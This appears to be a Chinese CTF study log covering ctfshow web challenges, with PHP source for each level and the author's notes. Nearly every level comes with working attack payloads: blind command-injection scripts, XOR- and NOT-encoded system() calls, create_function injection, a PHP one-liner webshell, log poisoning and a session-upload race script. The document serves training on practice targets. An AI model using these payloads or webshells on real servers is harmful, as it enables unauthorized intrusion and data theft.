解题思路已经很明确了,想办法在有strripos()函数检测的情况下绕过

**师傅们的wp**:

属于是涨知识了

```call_user_func(array($ctfshow, ‘getFlag’)); 这时候会调用ctfshow中的getFlag方法 等价于call_user_func($ctfshow.'::getFlag'); ```

**构造pay**

`pay=ctfshow[0]=ctfshow&ctfshow[1]=getFlag`

## Web139

```php <?php error_reporting(0); function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    } } if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c); } else{
    highlight_file(__FILE__); } ?> ```

与web136一样?~~(貌似)好像多过滤了`|`~~

大体步骤也没有变,尝试tee,`?c=ls|tee 1`结果无法成功,1不存在与目录下

实在是没有思路

**师傅们的wp:**

师傅们使用的编写shell脚本的方法(实在shell编程逐个获取的前提下编写的脚本)

要用到linux的awk与cut命令以及if条件判断语句

`awk`:[Linux awk 命令 | 菜鸟教程 (runoob.com)](https://www.runoob.com/linux/linux-comm-awk.html)

![image-20211007091342265](https://img-blog.csdnimg.cn/img_convert/c348090df8fd5b4b3e5cc73c956c467d.png)

这里的使用`,`分割的意思是在log.txt内的内容如果是

456,123,455,899这种格式就会被分割为

456   123    如果没有`,`,就会被分割为456 123 455 899

内建变量表

![image-20211007092803536](https://img-blog.csdnimg.cn/img_convert/bd7eb20196aaaf4909fefcbddc43300c.png)

![image-20211007092839893](https://img-blog.csdnimg.cn/img_convert/5690a421dba02340ea46cda44cdb2a3e.png)



`cut`:[Linux cut命令 | 菜鸟教程 (runoob.com)](https://www.runoob.com/linux/linux-comm-cut.html)

教程上有点少,大概是这个效果

![image-20211007094243433](https://img-blog.csdnimg.cn/img_convert/2e896a1a7d74cb3e58e853d88f481cde.png)

`if条件判断语句`:[(7条消息) Linux shell if判断语句_maenlai0086的博客-CSDN博客](https://blog.csdn.net/maenlai0086/article/details/96136663)**注意,每一句if语句后都要接fi语句闭合才算完整,比如**`if XXXXX;fi`

**脚本1:获取flag所在的文件名**

```python
#-- coding: utf-8 --
#@Time : 2021/10/7 9:50
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : shell脚本逐个获取字符1.py
#@Software: PyCharm import requests url = "http://83c3b990-258b-41db-8baf-7270f5278fa7.challenge.ctf.show:8080/" result = "" for i in range(1,5):
    for j in range(1,15):
        #ascii码表
        for k in range(32,128):
            k=chr(k)
            payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " " ```

**脚本2:获取flag**

```python
#-- coding: utf-8 --
#@Time : 2021/10/7 9:50
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : shell脚本逐个获取字符2.py
#@Software: PyCharm import requests url = "http://e33fb440-03e9-4d19-ad81-a7a9c775f86e.challenge.ctf.show:8080/" result = "" for j in range(1,60):
    #ascii码表
    for k in range(32,128):
        k=chr(k)
        payload = "?c=" + f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi"
        try:
            requests.get(url=url+payload, timeout=(1.5,1.5))
        except:
            result = result + k
            print(result)
            break result += " " ```

## Web140

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 12:39:25

*/

error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    } }


大致步骤是先判断POST方式传入的f1与f2的值是否为空,若都不为空则会将f1与f2的值强制转换为string型,然后再是正则匹配f1内的值,如果匹配到就会再匹配f2的值,然后将f1(f2())的值赋给code,将code的值转换类型后如果是ctfshow就会输出flag.php

解题思路…不太明确

f2作为参数执行f1函数的值,返回值如果为ctfshow就可以输出flag,关键是intval()取整的值要为ctfshow

思路出错!!!

师傅们的wp:

师傅们给出的是利用弱比较绕过'=='

弱比较类型表:

image-20211007145218018

这里可以知道0和字符串比较是结果是true,所以这道题就变为了构造一个返回值为空的函数

构造pay

f1=intval&f2=intval

Web141

    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    } }

大致步骤是先判断v1与v2的值,两个都要是数字,然后匹配v3,匹配到会执行v1v2v3

解题思路无,这个用我现在的知识做不出来

师傅们的wp:

首先要明白eval()函数中return的用法PHP: eval - Manual

关于code部分的描述

image-20211007151932043

实际举例的话就是

eval(return phpinfo();)这是可以的phpinfo()可以执行

eval(return 1; phpinfo();)这样在return 1后会直接退出,phpinfo()不能执行

所以v3是要传入命令执行语句

字母数字都被ban掉(/w是匹配出了特殊符号以外的所有字母和数字)

师傅给出的异或脚本:

#-- coding: utf-8 --
#@Time : 2021/10/7 15:24
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : 异或脚本(字母数字被ban,用符号构造命令).py
#@Software: PyCharm import requests import urllib import re

# 生成可用的字符 def write_rce():
    result = ''
    preg = '[a-zA-Z0-9]'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i ^ j
                if k >= 32 and k <= 126:
                    a = '%' + hex(i)[2:].zfill(2)
                    b = '%' + hex(j)[2:].zfill(2)
                    result += (chr(k) + ' ' + a + ' ' + b + '\n')
    f = open('xor_rce.txt', 'w')
    f.write(result)


# 根据输入的命令在生成的txt中进行匹配 def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


def main():
    write_rce()
    while True:
        s1 = input("\n[+] your function:")
        if s1 == "exit":
            break
        s2 = input("[+] your command:")
        param = action(s1) + action(s2)
        print("\n[*] result:\n" + param)

main() ```

`这里return v1v3v2会依次执行`,我们想执行v3,但按照这个逻辑v1中的内容必然会影响v3的语句,为了执行v3我们需要一些操作

**新技巧**:这里我们使用数字+命令语句的方式绕过,在php中数字是可以和命令进行运算的,所以我们要在脚本构造的出的语句前加上运算符(基本都可以),v3最后别忘记加`;`结尾

**构造pay**

`?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");`查看目录下文件

`?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");`查看flag.php中的内容获取flag

## Web142

```php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){   $v1 = (String)$_GET['v1'];   if(is_numeric($v1)){
    $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
    sleep($d);
    echo file_get_contents("flag.php");   } } ```

这个雀氏没啥难度,有一个检测v1是否为纯数字的,然后d=v1*6,再执行sleep(d)

解题思路十分明确,如果d的值不为0会延迟很久

**构造pay**

`v1=0`

## Web143(原笔记丢失,复习版)

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 12:48:14

*/

highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    } } ```

本题是141的改编题,与141不同的是在正则匹配方面有所不同,**另外一点不同时在语句的连接上,141可以通过`;`来结束,v2不会被执行,该题过滤了`;`,所以需要通过运算符符号来连接v2**,并且需要修改一下python脚本

**(师傅们的脚本改编)**

**修改正则匹配部分:**

`preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'`

**构造pay**

`?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*`查看目录下文件

`?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")*`查看flag.php内容

## Web144

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    } }

function check($str){
    return strlen($str)===1?true:false; } ```

该题是143的加强版,该题的大致思路是,第一次判断v1,v2, v3是否都为空,若都不为空则向下进行,然后判断v1是否为数字,v3传参至check()进行检测,如果v3的长度是1,则返回true,如果v1和v3均通过检测则对v2进行正则匹配,匹配与141的v3匹配相同



解题思路已经很明确了,eval()函数内执行语句顺序由v1v3v2变为v1v2v3只要将原来v3的值变为1,v2传入命令执行语句即可



**脚本沿用141**

**构造pay:**

`?v1=1&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f");&v3=1`查看当前目录下文件

`?v1=1&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f");&v3=1`查看flag.php文件内容

## Web145

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date:  2020-10-13 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-10-18 17:41:33

*/



highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){   $v1 = (String)$_GET['v1'];   $v2 = (String)$_GET['v2'];   $v3 = (String)$_GET['v3'];   if(is_numeric($v1) && is_numeric($v2)){
    if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
        die('get out hacker!');
    }
    else{
      $code = eval("return $v1$v3$v2;");
      echo "$v1$v3$v2 = ".$code;
    }   } } ```

该题是web141的plus,还是正则匹配有所不同,~~修改脚本正则匹配语句即可~~这里有些不同,异或需要的`^`也被过滤,所以异或脚本不能使用,猜测要使用取反

解题思路很明显了,需要使用取反脚本构造命令,目前能力无法编写

**师傅们的wp:**

思路没有错,因为异或被ban,能使用的只有取反(~),这里师傅给出了php的取反脚本

```php <?php fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; ```

这里用到了fwrite与str_replace两个函数以及命令行输入输出流,

`输入输出流STDIN/STDOUT`:[(7条消息) php 获取命令参数错误,PHP命令行输入输出流STDIN/STDOUT/STDERR用法_何心秋的博客-CSDN博客](https://blog.csdn.net/weixin_32150027/article/details/115411257),STDOUT意为在命令行控制台中输出内容,STDIN意为在命令行控制台中输入内容,比如`fwrite(STDOUT,'[+]your function: ');`

执行效果是这样

![image-20211010200026978](https://img-blog.csdnimg.cn/img_convert/107d9fb5631e09f15837e26c8a786e8d.png)

system就是STDIN,接受从命令行控制台输入的内容,**注意:这里的fwrite仅仅起到提示作用,去掉其实并无大碍**

关于脚本还有一点是取反,php中通过get请求传参时是先对get请求的参数进行url解码再解读的,脚本中得出的结果虽然带有`%`,但实际上`%86`是一个字符(url解码后)

**本地复现(接上面脚本代码):**

![image-20211010203604647](https://img-blog.csdnimg.cn/img_convert/000c4f336f8c0a1a10df6c3a7338f049.png)

**结果:**

![image-20211010203643794](https://img-blog.csdnimg.cn/img_convert/1253d0735783dabeebb32b1a12269ed2.png)

这里复现的是php中的先url解码在解读流程,第一步解码后并不存在正则匹配中的字符,在eval函数进行取反后就会变为`system`

**构造pay:**

`?v1=1&v2=1&v3=?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%93%8C)|`查看当前目录下文件

`?v1=1&v2=1&v3=?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|`查看flag.php文件内容

## Web146

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    } } ```

和146没有区别,146pay打通

## Web147

```php <?php

/* \# -*- coding: utf-8 -*- \# @Author: h1xa \# @Date:  2020-10-13 11:25:09 \# @Last Modified by:  h1xa \# @Last Modified time: 2020-10-19 02:04:38

*/



highlight_file(__FILE__);

if(isset($_POST['ctf'])){   $ctfshow = $_POST['ctf'];   if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
    $ctfshow('',$_GET['show']);   }

} ```

大致步骤是先检测POST传入的ctf是否为空,若不为空则将传入的值赋给ctfshow,再对ctfshow的值进行正则匹配,如果没有匹配到就会执行`$ctfshow('',$_GET['show']);`

解题思路在我解这道题的时候没有(rce方面)

**师傅们的wp:**

这里要用到`create_function()`函数

```string create_function ( string args , string args , string code )

string $args 变量部分 string $code 方法代码部分 ```

师傅的想法是利用`create_function()`函数构造代码执行

![image-20211011082703201](https://img-blog.csdnimg.cn/img_convert/9c5cd9611a8471e431a61d4fcff7900a.png)

用这种方法构造出我们想要的命令执行语句,**另外师傅是用`\`绕过了正则表达式,这里找不到相关知识**,在php中`\`的意思代表了默认命名空间

```php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径。 如果你在其他namespace里调用系统类,必须使用绝对路径的写法 ```

该方法不会被正则匹配到

**构造pay**

`?show=echo 123;}system("tac flag.php");//`

post:`ctf=\create_function`

## Web148

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 03:52:11

*/



include 'flag.php'; if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code); } else{
    highlight_file(__FILE__); }

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php"); } ```

大致步骤是先判断通过get方式传入的code的值是否为空,如果不为空则将值赋给code,在进行正则匹配,如果code被正则匹配到了,就结束并输出error,如果没有被匹配到,就会用eval函数执行code函数内的语句

这里被下面的`function get_ctfshow_fl0g()`给误解了

这道题考点是**"变量"**,但是目前的知识体系内没有相关知识..

**师傅们的wp:**

是可以用直接用异或~~或者取反~~(取反需要的`~`被ban掉了)通过的,修改下141脚本构造即可

**修改的部分**

![image-20211011153122999](https://img-blog.csdnimg.cn/img_convert/15a1292ebfdc952c51baa443bcc32271.png)

**构造pay**:

`?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");`查看文件目录

`?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");`查看flag.php文件内容

## Web149

```php error_reporting(0); highlight_file(__FILE__);

$files = scandir('./');  foreach($files as $file) {   if(is_file($file)){
    if ($file !== "index.php") {
      unlink($file);
    }   } }

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');  foreach($files as $file) {   if(is_file($file)){
    if ($file !== "index.php") {
      unlink($file);
    }   } } ```

大致步骤是①file的值是当前目录下所有文件名组成的数组,然后每一次foreach函数遍历时把file内的文件名赋给file,并进行判断,如果file的值是个文件,会判断是否为index.php,如果不为index.php就会删除这个文件,②循环外的是一个`file_put_contents($_GET['ctf'], $_POST['show']);`,目前猜测是将POST传入的show值写入GET传入的ctf中,然后进行与①相同的步骤

**新出现的函数:**

`foreach`:遍历数组

```php foreach (iterable_expression as $value)  第一种用法,把当前单元的值赋给value
    statement foreach (iterable_expression as $key => $value)  第二种用法,把当前单元的值,包括键值赋给value
    statement ```

`unlink`:删除文件

```php unlink(string `$filename`, resource `$context` = ?): bool  参数 filename 文件的路径。

context 注意: 在 PHP 5.0.0 中增加了对上下文(Context)的支持。有关上下文(Context)的说明参见 Streams。

返回值 成功时返回 true, 或者在失败时返回 false。 ```

`scandir`:列出指定路径中的文件和目录

```php scandir(string $directory, int $sorting_order = ?, resource $context = ?): array 返回一个 array,包含有 directory 中的文件和目录。

参数 directory 要被浏览的目录

sorting_order 默认的排序顺序是按字母升序排列。如果使用了可选参数 sorting_order(设为 1),则排序顺序是按字母降序排列。

context context 参数的说明见手册中的 Streams API 一章。

返回值 成功则返回包含有文件名的 array,如果失败则返回 false。如果 directory 不是个目录,则返回布尔值 false 并生成一条 E_WARNING 级的错误。 ```

解题思路已经很明确了,两个循环会不断查找并删除不为index.php的文件,关键是要在除index.php其余文件被删除前查看并输出flag

新函数过多,目前知识不够

**师傅们的wp:**

这里师傅指出了`file_put_contents($_GET['ctf'], $_POST['show']);`作为切入点,该函数可以将POST传入的show的值写入GET传入的ctf的值中,师傅们的思路是在index.php中写入我们的一句话木马,然后利用这一点进行命令执行

**师傅们的pay:**

`?ctf=index.php` POST:`show=<?php @eval($_POST['baiwu']);?>`**绝了**:因为使用的学校服务器waf对80端口进行了监控,导致不能传入`eval`,如果是连接服务器网络的情况下需要将`eval`换为`system`

**被学校拦截后总结出的pay(群主yyds)**:

GET:``?ctf=index.php` 

POST:`show=<?php @system($_POST['baiwu']);?>`这里`$_POST['baiwu']`是可以写为`$_POST[baiwu]`的,没有影响

然后post:`baiwu=命令;`

**不被拦截的pay:**

GET:``?ctf=index.php` 

POST:`show=<?php @eval($_POST['baiwu']);?>`这里`$_POST['baiwu']`是可以写为`$_POST[baiwu]`,没有影响

然后post:`baiwu=system("命令");`

## Web150



```php include("flag.php"); error_reporting(0); highlight_file(__FILE__);

class CTFSHOW{   private $username;   private $password;   private $vip;   private $secret;

  function __construct(){
    $this->vip = 0;
    $this->secret = $flag;   }

  function __destruct(){
    echo $this->secret;   }

  public function isVIP(){
    return $this->vip?TRUE:FALSE;
    }   }

  function __autoload($class){
    if(isset($class)){
      $class();   } }

\#过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){   die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){   echo "class is exists!"; }

if($isVIP && strrpos($ctf, ":")===FALSE){   include($ctf); } ```

好家伙,真的长,大致上是有一个CTFSHOW类,有很多私有变量和公有函数,`$key`值等于`$_SERVER['QUERY_STRING']`获取到的值,对key尽进行正则匹配,如果匹配到了,则结束并返回error,如果没有匹配到则将post传入的ctf的值赋给ctf,之后对get传入的值进行变量覆盖,再检查$__CTFSHOW__这一变量的类是否已经定义,如果已经定义则会返回class is exists!,还有一个判断是调用isVIP进行判断,如果isVIP的值为true并且strrpos函数对ctf进行匹配没有匹配到`:`,则对$ctf进行包含

**函数**

`class_exists`:检查类是否已定义

```php class_exists(string $class, bool $autoload = true): bool 检查指定的类是否已定义。

参数 class 类名。名字的匹配是不分区大小写的。

autoload 是否默认调用 __autoload。

返回值 如果由 class 所指的类已经定义,此函数返回 true,否则返回 false。 ```

`strrpos`:计算指定字符串在目标字符串中最后一次出现的位置

```php strrpos(string $haystack, string $needle, int $offset = 0): int 返回字符串 haystack 中 needle 最后一次出现的数字位置。注意 PHP4 中,needle 只能为单个字符。如果 needle 被指定为一个字符串,那么将仅使用第一个字符。

参数 haystack 在此字符串中进行查找。

needle 如果 needle不是一个字符串,它将被转换为整型并被视为字符的顺序值。

offset 或许会查找字符串中任意长度的子字符串。负数值将导致查找在字符串结尾处开始的计数位置处结束。

返回值 返回 needle 存在的位置。如果没有找到,返回 false ```

`include`:语句包含并运行指定文件

```php 被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和 require 不同,后者会发出一个致命错误。

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。 ```

解题思路(个人得出),构造出可以输出` flag.php `的pay,并将`$this->vip`的值传为1

~~我想传入$_GET[ctf]这种类型的数组,但是key会获取全部传入的值,必然会被检测到,这里我们尝试异或,结果是无反应~~

~~尝试在ctf上找突破点,ctf中不能含有`:`,同时$isVIP的值要为1~~

~~解题思路突然就有了~~

~~通过extrace对ctf进行赋值,但是对ctf的检测始终不能绕过~~这里思路有一个严重问题,isVIP其实可以直接GET传参的...

**师傅们的wp:**

这里使用的是文件包含的非预期解

师傅给出的思路是先在UA头中传入

![image-20211011185900029](https://img-blog.csdnimg.cn/img_convert/7fb719d9fa2df00c1ba086fa37c6a24b.png)

然后`?isVIP=1`

POST:`ctf=/var/log/nginx/access.log&1=system("cat flag.php");`

**师傅的脚本**:

```python
#-- coding: utf-8 --
#@Time : 2021/10/11 18:53
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : 日止包含.py
#@Software: PyCharm
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/7 11:50
# blog: www.wlhhlc.top import requests

url = "http://1ac13304-bfa1-416e-bd77-9bee096e44a9.challenge.ctf.show:8080/"
+ "?isVIP=1" headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>' } data = {
    'ctf': '/var/log/nginx/access.log',
    'dotast':'system("cat flag.php");' } result = requests.post(url=url, headers=headers, data=data) print(result.text) ```

## Web151

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/ include("flag.php"); error_reporting(0); highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    } }

#过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){
    echo "class is exists!"; }

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf); }

上个wp看过头了,,,看到这道题的wp了,这里ctf过滤了log,不能再使用日志包含

师傅是真的强:(session包含要复习)

还是上题的脚本,不过需要稍作修改

修改后的脚本:

#-- coding: utf-8 --
#@Time : 2021/10/11 19:07
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : session包含.py
#@Software: PyCharm
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/7 14:57
# blog: www.wlhhlc.top import io import requests import threading url = 'http://deeea6a5-6de7-4de7-bfa9-853fb52c7ed2.challenge.ctf.show:8080/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session):
    data = {
        'ctf':'/tmp/sess_flag'
    }
    while True:
        response = session.post(url+'?isVIP=1',data=data)
        if 'ctfshow' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start() ```



## PHP特性函数总结

```intval函数 详细说明https://www.runoob.com/php/php-intval-function.html 可能用到的点1.数组可以绕过2.只能识别整数 ```

```preg_match()正则匹配函数 比如 preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){ /i  表示匹配的时候不区分大小写

/m 表示多行匹配,什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号 ```

```如果是命令执行的话最后可能会有eval函数等函数 ```

```PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。 $class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类 $instance = $class->newInstanceArgs($args); // 相当于实例化ctfshow类 ```

# 命令执行

## Web29

![image-20210818183735261](https://img-blog.csdnimg.cn/img_convert/72d151b261e870d42bf0adf79b3c6827.png)

过滤flag的命令执行,构造pay=/?c=system('ls')

![image-20210818183819697](https://img-blog.csdnimg.cn/img_convert/33c49f9582bd266455b245908ac710cf.png)

存在flag.php,但是过滤了flag,尝试用fla*绕过

![image-20210818183942745](https://img-blog.csdnimg.cn/img_convert/7fed89df53308e251d14834c092a63de.png)

## Web30

![image-20210818184824910](https://img-blog.csdnimg.cn/img_convert/ad76e449ca8bddce14ca57d92703b368.png)

这里过滤了system,上一题的命令不能直接用,这里用模糊搜索(通配符绕过)

```pay=/?c=echo `tac *`; ```

注意这里tac和*有空格,并且不是单引号,是反引号

## Web31

![image-20210818185825742](https://img-blog.csdnimg.cn/img_convert/322b50d8f4624e43532f965f791384a4.png)

多过滤了一个空格,再上题的基础上用%09替代空格即可,%20不知道为啥不能用,可能是因为get传参加了一次url编码的缘故。。

## Web32

![image-20210818190449322](https://img-blog.csdnimg.cn/img_convert/7b9f67d04984d987ed1432bf22a0ee56.png)

这里把echo也过滤了,反引号也不能用,用其他方法,include或者require

```?c=include$_POST[a]?>

post:a=php://filter/read=convert.base64-encode/resource=flag.php ```

相关知识在总结里

## Web33

![image-20210819230041230](https://img-blog.csdnimg.cn/img_convert/dd56204b5c2d759d2cb4378156646326.png)

这次把双引号也过滤了,但不影响,使用上一题pay

## Web34

![image-20210819231324270](https://img-blog.csdnimg.cn/img_convert/51baa609f8831914af60d4b09f48b058.png)

上一题pay打通

## Web35

![image-20210819231820874](https://img-blog.csdnimg.cn/img_convert/5ddf850f136e1b1514b60e27a87770d2.png)

多过滤了=<,还是可以用原py直接过

## Web36

wp里一直是用同一个pay,那应该题目原本的意图不是这样,

## Web37

## Web42

![image-20210824183941989](https://img-blog.csdnimg.cn/img_convert/b7d05a6174e9c60dcbe1426af8696af4.png)

这里多了一个

/dev/null 2>&1 ```

这会令第一个>前面的所有内容无效,详细的知识点在总结里

这里要用命令分隔符,也在总结里

最后的pay为?c=ls;

?c=tac flag.php;

Web43

image-20210824184742508

过滤了cat和;不过没关系,我们换||绕过

Web44

image-20210824185200860

这里多过滤了一个flag,*号绕过即可

Web45

image-20210824185711502

这里过滤了空格,用%09绕过即可,不能用%20

Web46

image-20210824190036475

过滤了0-9,*,所以我们改为?进行通配空格还是用%09代替

Web48

过滤项和pay无关,用原pay绕过即可

Web49

image-20210831075749864

这里把%过滤了,可以用<替代,但是<不能和?连用,这里两个单引号’'作为分隔符

pay=?c=tac<fla''g.php||

Web50

image-20210831081204575

这里过滤了x09和x26,ascii绕过不能用了,用上一题pay打通

pay=?c=tac<fla''g.php||

Web51

多过滤了一个tac,用’'分隔绕过即可

Web52

image-20210831082643080

这里把<过滤了,用$IFS/替代,注意这里tac的不是flag.php,是flag

Web53

image-20210901073649368

